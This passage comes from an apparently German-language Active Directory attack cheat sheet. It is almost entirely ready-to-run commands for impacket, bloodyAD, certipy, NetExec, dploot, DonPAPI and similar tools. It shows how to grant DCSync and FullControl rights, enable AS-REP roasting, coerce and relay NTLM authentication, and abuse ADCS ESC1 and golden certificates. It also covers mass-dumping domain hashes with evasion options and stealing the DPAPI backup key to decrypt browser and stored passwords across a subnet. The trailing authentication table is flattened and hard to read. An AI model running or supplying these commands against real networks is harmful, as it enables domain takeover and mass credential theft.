bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass set owner targetuser jdoe

# bloodyAD — cleanup
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass \
  remove genericAll "CN=targetuser,CN=Users,DC=domain,DC=local" jdoe

# dacledit.py — grant DCSync
dacledit.py -action write -rights DCSync \
  -principal jdoe -target-dn "DC=domain,DC=local" \
  DOMAIN/admin:[email protected]

# dacledit.py — grant GenericAll
dacledit.py -action write -rights FullControl \
  -principal jdoe -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  DOMAIN/admin:[email protected]

# owneredit.py — change owner
owneredit.py -action write -new-owner jdoe \
  -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  DOMAIN/admin:[email protected]

# gopacket — dacledit: read DACL on an object (requires -port 389)
dacledit -action read -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  -dc-ip 192.168.1.1 -port 389 DOMAIN/admin:[email protected]
# gopacket — dacledit: grant DCSync rights
dacledit -action write -rights DCSync \
  -principal jdoe -target-dn "DC=domain,DC=local" \
  -dc-ip 192.168.1.1 -port 389 DOMAIN/admin:[email protected]
# gopacket — dacledit: grant FullControl
dacledit -action write -rights FullControl \
  -principal jdoe -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  -dc-ip 192.168.1.1 -port 389 DOMAIN/admin:[email protected]
# gopacket — owneredit: change owner (requires -port 389)
owneredit -action write -new-owner jdoe \
  -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  -dc-ip 192.168.1.1 -port 389 DOMAIN/admin:[email protected]

# Titanis — post-exploitation after ACE grant (force password reset)
Kerb setpw -UserName jdoe -UserDomain DOMAIN -Kdc 192.168.1.1 -Password jdoePass \
  targetuser@DOMAIN NewPass123

↑ Zurück zum Index


Modifikation von Benutzerattributen (UAC Bitflags)```bash

impacket — enable / disable an account (net.py covers these two UAC bits directly)

net.py DOMAIN/admin:[email protected] user -enable targetuser net.py DOMAIN/admin:[email protected] user -disable targetuser

bloodyAD — add UAC flag (enable AS-REP roasting)

bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123
add uac targetuser -f DONT_REQ_PREAUTH

bloodyAD — remove UAC flag (re-enable account)

bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123
remove uac targetuser -f ACCOUNTDISABLE

Titanis

Ldap moduser 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123
targetuser userAccountControl+=4194304

gopacket — enable / disable an account

net DOMAIN/admin:[email protected] user -enable targetuser net DOMAIN/admin:[email protected] user -disable targetuser

gopacket — pass-the-hash

net -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] user -enable targetuser

root@kitploit:~
[↑ Zurück zum Index](#index)

---

## 7. Auth Coercion

> Kombinieren Sie den Coerce-Teil mit `ntlmrelayx` oder Responder für den Relay-Teil. Titanis `credcoerce` deckt nur MS-EFSR ab.```bash
# MS-EFSR — single technique
CredCoerce 192.168.1.10 \\<listener-ip>\share \
  -UserName jdoe -UserDomain DOMAIN -Password Password123 -Techniques Efs.OpenFile

# MS-EFSR — multiple techniques
CredCoerce 192.168.1.10 \\<listener-ip>\share \
  -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -Techniques Efs.OpenFile,Efs.EncryptFile,Efs.DecryptFile,\
  Efs.QueryUsersOnFile,Efs.QueryRecoveryAgents,Efs.FileKeyInfo,\
  Efs.DuplicateEncryptionInfoFile

# MS-RPRN (PrinterBug) — no Titanis equivalent
printerbug.py DOMAIN/jdoe:[email protected] <listener-ip>

# NetExec — coerce_plus covers all methods (PetitPotam, PrinterBug, DFSCoerce, ShadowCoerce, MSEven)
netexec smb 192.168.1.10 -u jdoe -p Password123 -M coerce_plus -o LISTENER=<listener-ip>
netexec smb 192.168.1.10 -u jdoe -p Password123 -M coerce_plus -o LISTENER=<listener-ip> METHOD=PrinterBug
netexec smb 192.168.1.10 -u jdoe -p Password123 -M coerce_plus -o LISTENER=<listener-ip> METHOD=PetitPotam

# MS-DFSNM (DFSCoerce) — no Titanis equivalent
python3 dfscoerce.py -d DOMAIN -u jdoe -p Password123 <listener-ip> 192.168.1.10

# MS-FSRVP (ShadowCoerce) — no Titanis equivalent
python3 shadowcoerce.py -d DOMAIN -u jdoe -p Password123 <listener-ip> 192.168.1.10

↑ Zurück zum Index


Coerce + Relay Pattern```bash

Terminal 1 — relay listener (SMB)

ntlmrelayx.py -tf targets.txt -smb2support

Terminal 1 — relay to LDAP for RBCD / shadow credentials

ntlmrelayx.py -t ldaps://192.168.1.1 --delegate-access --escalate-user jdoe

Terminal 2 — trigger coercion

CredCoerce 192.168.1.10 \\share
-UserName jdoe -UserDomain DOMAIN -Password Password123 -Techniques Efs.OpenFile

root@kitploit:~
[↑ Zurück zum Index](#index)

---

## 8. Zertifikate

> **gopacket-Status:** Keine ADCS-Tools. Verwenden Sie für alle Zertifikatsvorgänge certipy, Titanis `Cert` oder impacket.

### Erzeugung selbstsignierter PFX```bash
# certipy — Golden Certificate from compromised CA key (requires -ca-pfx)
# Note: certipy forge cannot produce a self-signed cert without the CA private key;
#       for Shadow Credentials use certipy shadow or impacket's pyWhisker instead

# certipy — Golden Certificate from compromised CA key
certipy forge -upn Administrator@DOMAIN -ca-pfx ca.pfx -out admin.pfx

# openssl — generic PKI (not trusted by AD for PKINIT without NTAuth enrollment)
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes \
  -subj "/CN=jdoe"
openssl pkcs12 -export -out jdoe.pfx -inkey key.pem -in cert.pem -passout pass:Password123

# Titanis — works in interactive sessions (RDP/console); may fail in non-interactive sessions
Cert selfcert -Subject CN=jdoe -PfxFileName jdoe.pfx

↑ Zurück zum Index


Enumeration von ADCS-Zertifikatvorlagen```bash

certipy — includes ESC1–ESC8 vulnerability analysis

certipy find -dc-ip 192.168.1.1 -u jdoe@DOMAIN -p Password123 -vulnerable -stdout

certipy — pass-the-hash

certipy find -dc-ip 192.168.1.1 -u jdoe@DOMAIN -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -vulnerable -stdout

NetExec

netexec ldap 192.168.1.1 -u jdoe -p Password123 -M adcs

msldap — raw template list

msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"

msldap> certify

msldap> certtemplates

Titanis — enumerate certificate templates

Note: Ldap search is broken on Linux (ignores -SearchBase, always queries RootDSE → no results)

Use ldapsearch below for Linux; Ldap search works on Windows

Windows only:

Ldap search 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \

-SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" \

"(objectClass=pKICertificateTemplate)" \

-OutputFields displayName,msPKI-Certificate-Name-Flag,msPKI-Enrollment-Flag,pKIExtendedKeyUsage

Titanis — enumerate Enterprise CAs (Windows only — same Ldap search limitation on Linux)

Ldap search 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \

-SearchBase "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" \

"(objectClass=pKIEnrollmentService)" \

-OutputFields displayName,dNSHostName,certificateTemplates

ldapsearch

ldapsearch -H ldap://192.168.1.1 -D "CN=jdoe,CN=Users,DC=domain,DC=local" -w Password123
-b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local"
"(objectClass=pKICertificateTemplate)" displayName msPKI-Certificate-Name-Flag

root@kitploit:~
[↑ Zurück zum Index](#index)

---

### ADCS ESC1 — NT-Hash anfordern und wiederherstellen```bash
# Step 1 — enumerate vulnerable templates
certipy find -dc-ip 192.168.1.1 -u jdoe@DOMAIN -p Password123 -vulnerable -stdout

# Step 2a — request certificate with arbitrary UPN (certipy, HTTP/RPC enrollment)
certipy req -username jdoe@DOMAIN -password Password123 \
  -ca CA-NAME -template VulnerableTemplate \
  -upn [email protected] \
  -target ca.domain.local -out admin

# Step 2b — request certificate via SMB (aiosmb asmbcertreq — works when HTTP enrollment is firewalled)
asmbcertreq "smb+ntlm-password://DOMAIN\jdoe:[email protected]" \
  -ca "CA-NAME" -template "VulnerableTemplate" -upn "[email protected]" -out admin.pfx

# aiosmb — pass-the-hash
asmbcertreq "smb+ntlm-nt://DOMAIN\jdoe:[email protected]" \
  -ca "CA-NAME" -template "VulnerableTemplate" -upn "[email protected]" -out admin.pfx

# Step 3a — certipy: recover NT hash + TGT
certipy auth -pfx admin.pfx -dc-ip 192.168.1.1 -domain DOMAIN.LOCAL

# Step 3b — minikerberos: recover NT hash only
minikerberos-getNTPKInit \
  "kerberos+pfx://DOMAIN\Administrator:@192.168.1.1?pfx=admin.pfx" admin_nt.txt

# Step 4 — Titanis PTH with recovered hash (use IP for Wmi exec; FQDNs fail at WMI DCOM activation)
Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -NtlmHash <recovered_nt> "whoami"
Smb2Client ls \\dc01.domain.local\C$ -UserName Administrator -UserDomain DOMAIN \
  -NtlmHash <recovered_nt>
Reg dumpsam 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -NtlmHash <recovered_nt> -BackupSemantics

↑ Zurück zum Index


9. Exotische Anmeldedaten-Ernte

Techniken, die eine gleichwertige Abdeckung von Anmeldedaten wie ein NTDS-Dump erzeugen, aber die Standardmechanismen (DRSUAPI, VSS, NTDS-Dateizugriff) vollständig umgehen. Nützlich, wenn DCSync blockiert ist, VSS überwacht wird oder DA-Zugriff nicht verfügbar ist, aber ADCS- oder DPAPI-Vertrauenspfade existieren.


certsync — Golden Cert + UnPAC the Hash

Gibt NT-Hashes für jeden Domänenbenutzer aus, ohne DRSUAPI, VSS oder NTDS-Dateizugriff. Erfordert CA-Administratorrechte (oder ein exportiertes CA-Zertifikat + privaten Schlüssel) und funktionierendes PKINIT. Ablauf: Benutzer aus LDAP aufzählen → CA-Zertifikat/-Schlüssel ausgeben → pro Benutzer ein Zertifikat erstellen → für jeden UnPAC the Hash per PKINIT ausführen. Erzeugt Ausgabe im secretsdump-Format. In der Praxis nicht langsamer als DCSync.```bash

certsync — password auth (auto-discovers CA from LDAP)

certsync -u jdoe -p Password123 -d DOMAIN.LOCAL -dc-ip 192.168.1.1 -ns 192.168.1.1

certsync — pass-the-hash

certsync -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5
-u Administrator -d DOMAIN.LOCAL -dc-ip 192.168.1.1 -ns 192.168.1.1

certsync — Kerberos (ccache)

export KRB5CCNAME=admin.ccache certsync -k -no-pass -u Administrator -d DOMAIN.LOCAL
-dc-ip 192.168.1.1 -ns 192.168.1.1

certsync — supply existing CA cert + key (skip CA backup step; quieter)

certsync -ca-pfx ca.pfx -u jdoe -p Password123
-d DOMAIN.LOCAL -dc-ip 192.168.1.1 -ns 192.168.1.1

certsync — OPSEC: jitter, randomized per-user certs, custom LDAP filter

certsync -u jdoe -p Password123 -d DOMAIN.LOCAL -dc-ip 192.168.1.1
-ns 192.168.1.1 -timeout 2 -jitter 1 -randomize
-ldap-filter "(&(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))"

certsync — output to file

certsync -u jdoe -p Password123 -d DOMAIN.LOCAL -dc-ip 192.168.1.1
-ns 192.168.1.1 -outputfile domain_hashes

Feed recovered hashes into Titanis PTH flows (use IP for Wmi exec; FQDNs fail at WMI DCOM activation)

Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN
-NtlmHash <recovered_nt> "whoami" Smb2Client ls \dc01.domain.local\C$ -UserName Administrator -UserDomain DOMAIN
-NtlmHash <recovered_nt>

root@kitploit:~
[↑ Back to Index](#index)

---

### DPAPI Domain Backup Key — Mass Credential Decryption

> Der DPAPI-Domänen-Backup-Schlüssel ist ein domänenweites Geheimnis, das auf DCs gespeichert ist und den DPAPI-Hauptschlüssel jedes Benutzers entschlüsselt – und damit jeden DPAPI-geschützten Blob in der Domäne: Chrome/Edge/Firefox-Passwörter, Windows-Anmeldeinformationsverwaltung (Credential Manager), Zertifikate, WLAN-Schlüssel, SCCM-NAA-Konten, Anmeldeinformationen geplanter Aufgaben und mehr. Das Auslesen erfordert DA, aber sobald der Schlüssel erlangt wurde, ist er dauerhaft gültig, sofern er nicht explizit rotiert wird. Er bietet eine Breite an Abdeckung von Anmeldeinformationen, die mit NTDS vergleichbar ist, für Geheimnisse, die in DPAPI-Blobs gespeichert sind, und ist für Lateral Movement oft ergiebiger, da er Klartext-Passwörter anstelle von Hashes liefert.```bash
# Step 1 — dump the domain backup key (impacket)
dpapi.py backupkeys -t DOMAIN/Administrator:[email protected] --export
# Writes domain_backup.pvk to current directory

# Step 1 — impacket pass-the-hash
dpapi.py backupkeys -t DOMAIN/[email protected] --export \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5

# Step 1 — gopacket (subcommand syntax: positional target after subcommand)
dpapi backupkeys 'DOMAIN/Administrator:[email protected]' --export
# gopacket — pass-the-hash
dpapi backupkeys 'DOMAIN/[email protected]' --export \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5

# Step 1 — dump the domain backup key (NetExec; fetches automatically during --dpapi)
netexec smb 192.168.1.1 -u Administrator -p Password123 --dpapi

# Step 2a — dploot: decrypt master keys for all domain users using backup key
dploot masterkeys -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk -outputfile masterkeys.txt

# Step 2b — dploot: decrypt all credential manager blobs across domain
dploot credentials -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk

# Step 2c — dploot: decrypt browser-stored passwords (Chrome, Edge, Firefox)
dploot browser -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk

# Step 2d — dploot: full triage (masterkeys + credentials + certificates + vaults)
dploot triage -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk

# Step 2e — dploot: SCCM NAA credentials and collection variables
dploot sccm -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk

# Step 2f — dploot: machine (SYSTEM scope) DPAPI secrets
dploot machinetriage -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1

# dploot — pass-the-hash
dploot triage -d DOMAIN -u Administrator \
  -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -t 192.168.1.1 --pvk domain_backup.pvk

# NetExec — DPAPI dump across subnet (fetches backup key automatically)
netexec smb 192.168.1.0/24 -u Administrator -p Password123 --dpapi
netexec smb 192.168.1.0/24 -u Administrator -p Password123 --dpapi cookies
netexec smb 192.168.1.0/24 -u Administrator -p Password123 --dpapi nosystem

# DonPAPI — comprehensive remote DPAPI harvest across subnet in one pass
# (auto-fetches backup key, decrypts masterkeys, dumps all DPAPI-protected secrets)
DonPAPI collect -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.0/24 --fetch-pvk

# DonPAPI — supply existing backup key (quieter; avoids re-dumping from DC)
DonPAPI collect -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.0/24 --pvkfile domain_backup.pvk

# DonPAPI — targeted collectors only
DonPAPI collect -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.0/24 --collectors SCCM,Certificates,Wifi,CredMan

↑ Zurück zum Index


Tool herunterladen
  • NTFS Alternate Data Streams
  • Server-NIC-Aufzählung
  • Massenaufzählung von Freigaben · smbclient.py
  • secretsdump.py -use-keylist
  • NTDS-Offline-Parsing · secretsdump.py
  • DCSync · secretsdump.py · Dsrep rep
  • LSA-Berechtigungsverwaltung
  • LSA-Berechtigungs- und Konten-Enumeration
  • SzenarioimpacketgopacketTitanisminikerberos URLmsldap URLMetasploitaiosmb URL
    PasswortDOMAIN/user:Pass@hostDOMAIN/user:Pass@host-UserName user -UserDomain DOMAIN -Password Passkerberos+password://DOMAIN\user:Pass@kdcldap+ntlm-password://DOMAIN\user:Pass@dcSMBDomain DOMAIN SMBUser user SMBPass Passsmb+ntlm-password://DOMAIN\user:Pass@host
    Pass-the-Hash-hashes :NTLM-hashes :NTLM DOMAIN/user@host-NtlmHash <NTLM>kerberos+ntlm-nt://DOMAIN\user:NTLM@kdcldap+ntlm-nt://DOMAIN\user:NTLM@dcSMBPass aad3b435b51404eeaad3b435b51404ee:NTLMsmb+ntlm-nt://DOMAIN\user:NTLM@host
    AES-Schlüssel-aesKey <hex>-aesKey <hex>-AesKey <hex>kerberos+aes://DOMAIN\user:hex@kdcldap+kerberos+aes://.../?dc=ipAESKEY <hex>smb+kerberos+aes://DOMAIN\user:hex@host/?dc=ip
    RC4-Schlüsselvia -hashesvia -hashes :NTLM-NtlmHashkerberos+rc4://DOMAIN\user:NTLM@kdcldap+kerberos+rc4://.../?dc=ipNTHASH <NTLM>smb+kerberos+rc4://DOMAIN\user:NTLM@host/?dc=ip
    ccacheKRB5CCNAME=file.ccacheKRB5CCNAME=f.ccache -k -no-pass DOMAIN/user@host-TicketCache file.ccachekerberos+ccache://...?ccache=f.ccacheldap+kerberos+ccache://.../?dc=ip&ccache=f.ccacheKrbUseCachedCredentials truesmb+kerberos+ccache://DOMAIN\user:@host/?dc=ip&ccache=f.ccache
    kirbi-Ticketzuerst konvertierenticketConverter file.kirbi file.ccache zuerst-Ticket file.kirbiminikerberos-kirbi2ccache zuerstzuerst konvertierenauxiliary/admin/kerberos/ticket_converterzuerst in ccache konvertieren
    PKINIT / PFXcertipy / gettgtpkinit——kerberos+pfx://...?pfx=f.pfx&pfxpass=Pldap+kerberos+pfx://.../?dc=ip&pfx=f.pfx—smb+kerberos+pfx://DOMAIN\user:@host/?dc=ip&pfx=f.pfx&pfxpass=P
    NEGOEX / PFX———n/an/a—smb+negoex-pfx://cert.pfx:certpass@host/
    SOCKS5proxychains-Präfixproxychains-Präfix (natives cgo; keine GOFLAGS-Problemumgehung erforderlich)-Socks5 host:portn/a?proxytype=socks5&proxyhost=...&proxyport=...set Proxies socks5:127.0.0.1:1080?proxyhost=127.0.0.1&proxyport=1080
    SOCKS4n/an/an/an/an/an/a?proxytype=socks4&proxyhost=127.0.0.1&proxyport=1080
    RPC-Verschlüsselungn/an/a-EncryptRpcn/an/aauton/a (SMB-Signierung wird automatisch ausgehandelt)
    Backup-Semantikn/an/a-BackupSemantics (Reg) / -UseBackupSemantics (Smb2Client)n/an/an/an/a
    Anonymer Bindeingeschränkt—undokumentiertn/aldap://192.168.1.1n/an/a
    QUIC (Azure)n/an/an/an/an/an/asmb+quic+ntlm-password://DOMAIN\user:Pass@host
    LDAP-Port(direktes LDAP)-port 389 erforderlich (Standard 445 unterbricht LDAP-Tools)(direktes LDAP)(URL-Port)(URL-Port)——